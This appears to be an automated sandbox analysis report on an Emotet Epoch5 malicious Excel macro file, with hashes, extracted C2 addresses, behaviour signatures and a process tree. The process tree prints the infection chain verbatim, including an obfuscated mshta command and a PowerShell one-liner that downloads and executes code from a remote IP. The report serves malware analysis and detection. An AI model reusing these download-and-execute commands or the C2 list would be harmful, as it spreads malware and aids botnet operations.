emotet | 1b8a7503b95b685e1c29207ac2a9a9d75b188abfc9c492e670eb365377c1ad90

General

Target

1b8a7503b95b685e1c29207ac2a9a9d75b188abfc9c492e670eb365377c1ad90.xlsm
Size

115KB
MD5

88646a07a6dfa5ad4701c778b50707a4
SHA1

c406856081490e6b55bfebf099d9541bc400ac77
SHA256

1b8a7503b95b685e1c29207ac2a9a9d75b188abfc9c492e670eb365377c1ad90
SHA512

85c65de8396b5c8ae7e7bfd9f088bb001fef5f339c32c139fd86cc7ac5c822b80cabc2f7eff102c94b1ab9bfbab69afe013836f4c5b305a26852075c4393e85c

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1412	676	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
35	1408	mshta.exe
37	3172	powershell.exe
39	3172	powershell.exe
48	4088	rundll32.exe
49	4088	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
520	rundll32.exe
1208	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Fhanxxxpxmhoz\yqzblmorpao.cak	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2128	1408	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
676	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3172	powershell.exe
3172	powershell.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
3172	powershell.exe
4088	rundll32.exe
4088	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3172	powershell.exe
Token: SeDebugPrivilege	2128	WerFault.exe

Suspicious use of SetWindowsHookEx 20 IoCs

pid	Process
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 676 wrote to memory of 3068	676	EXCEL.EXE	71
PID 676 wrote to memory of 3068	676	EXCEL.EXE	71
PID 676 wrote to memory of 1412	676	EXCEL.EXE	72
PID 676 wrote to memory of 1412	676	EXCEL.EXE	72
PID 1412 wrote to memory of 1408	1412	cmd.exe	74
PID 1412 wrote to memory of 1408	1412	cmd.exe	74
PID 1408 wrote to memory of 3172	1408	mshta.exe	76
PID 1408 wrote to memory of 3172	1408	mshta.exe	76
PID 3172 wrote to memory of 1076	3172	powershell.exe	79
PID 3172 wrote to memory of 1076	3172	powershell.exe	79
PID 1076 wrote to memory of 520	1076	cmd.exe	80
PID 1076 wrote to memory of 520	1076	cmd.exe	80
PID 1076 wrote to memory of 520	1076	cmd.exe	80
PID 520 wrote to memory of 1208	520	rundll32.exe	81
PID 520 wrote to memory of 1208	520	rundll32.exe	81
PID 520 wrote to memory of 1208	520	rundll32.exe	81
PID 1208 wrote to memory of 2692	1208	rundll32.exe	84
PID 1208 wrote to memory of 2692	1208	rundll32.exe	84
PID 1208 wrote to memory of 2692	1208	rundll32.exe	84
PID 2692 wrote to memory of 4088	2692	rundll32.exe	85
PID 2692 wrote to memory of 4088	2692	rundll32.exe	85
PID 2692 wrote to memory of 4088	2692	rundll32.exe	85

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\1b8a7503b95b685e1c29207ac2a9a9d75b188abfc9c492e670eb365377c1ad90.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:676
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3068
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1412
- - C:\Windows\system32\mshta.exe
    mshta http://0x5cff39c3/sec/se1.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1408
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3172
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1076
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:520
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1208
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Fhanxxxpxmhoz\yqzblmorpao.cak",dkvKoEcVaxoF
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2692
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Fhanxxxpxmhoz\yqzblmorpao.cak",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:4088
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1408 -s 1660
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2128

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/676-116-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

Filesize
64KB

Download
memory/676-117-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

Filesize
64KB

Download
memory/676-118-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

Filesize
64KB

Download
memory/676-119-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

Filesize
64KB

Download
memory/676-128-0x00007FFCAD840000-0x00007FFCAD850000-memory.dmp

Filesize
64KB

Download
memory/676-129-0x00007FFCAD840000-0x00007FFCAD850000-memory.dmp

Filesize
64KB

Download
memory/676-115-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

Filesize
64KB

Download
memory/1208-606-0x0000000004850000-0x0000000004878000-memory.dmp

Filesize
160KB

Download
memory/1208-600-0x0000000004670000-0x0000000004698000-memory.dmp

Filesize
160KB

Download
memory/1208-610-0x00000000049A0000-0x00000000049C8000-memory.dmp

Filesize
160KB

Download
memory/1208-604-0x00000000047F0000-0x0000000004818000-memory.dmp

Filesize
160KB

Download
memory/1208-602-0x0000000004790000-0x00000000047B8000-memory.dmp

Filesize
160KB

Download
memory/1208-595-0x0000000000B80000-0x0000000000BA8000-memory.dmp

Filesize
160KB

Download
memory/1208-597-0x0000000004180000-0x00000000041A8000-memory.dmp

Filesize
160KB

Download
memory/2692-607-0x0000000004CD0000-0x0000000004CF8000-memory.dmp

Filesize
160KB

Download
memory/3172-278-0x000001E8F0250000-0x000001E8F0272000-memory.dmp

Filesize
136KB

Download
memory/3172-294-0x000001E8D7B20000-0x000001E8D7BD0000-memory.dmp

Filesize
704KB

Download
memory/3172-296-0x000001E8D7B20000-0x000001E8D7BD0000-memory.dmp

Filesize
704KB

Download
memory/3172-325-0x000001E8F08C0000-0x000001E8F0936000-memory.dmp

Filesize
472KB

Download
memory/3172-300-0x000001E8F03C0000-0x000001E8F03FC000-memory.dmp

Filesize
240KB

Download
memory/3172-371-0x000001E8D7B20000-0x000001E8D7BD0000-memory.dmp

Filesize
704KB

Download
memory/4088-611-0x0000000000910000-0x0000000000938000-memory.dmp

Filesize
160KB

Download
memory/4088-613-0x00000000043A0000-0x00000000043C8000-memory.dmp

Filesize
160KB

Download
memory/4088-624-0x00000000048F0000-0x0000000004918000-memory.dmp

Filesize
160KB

Download
memory/4088-626-0x00000000049D0000-0x00000000049F8000-memory.dmp

Filesize
160KB

Download
memory/4088-628-0x0000000004AC0000-0x0000000004AE8000-memory.dmp

Filesize
160KB

Download
memory/4088-630-0x0000000004BB0000-0x0000000004BD8000-memory.dmp

Filesize
160KB

Download
memory/4088-632-0x0000000004CA0000-0x0000000004CC8000-memory.dmp

Filesize
160KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads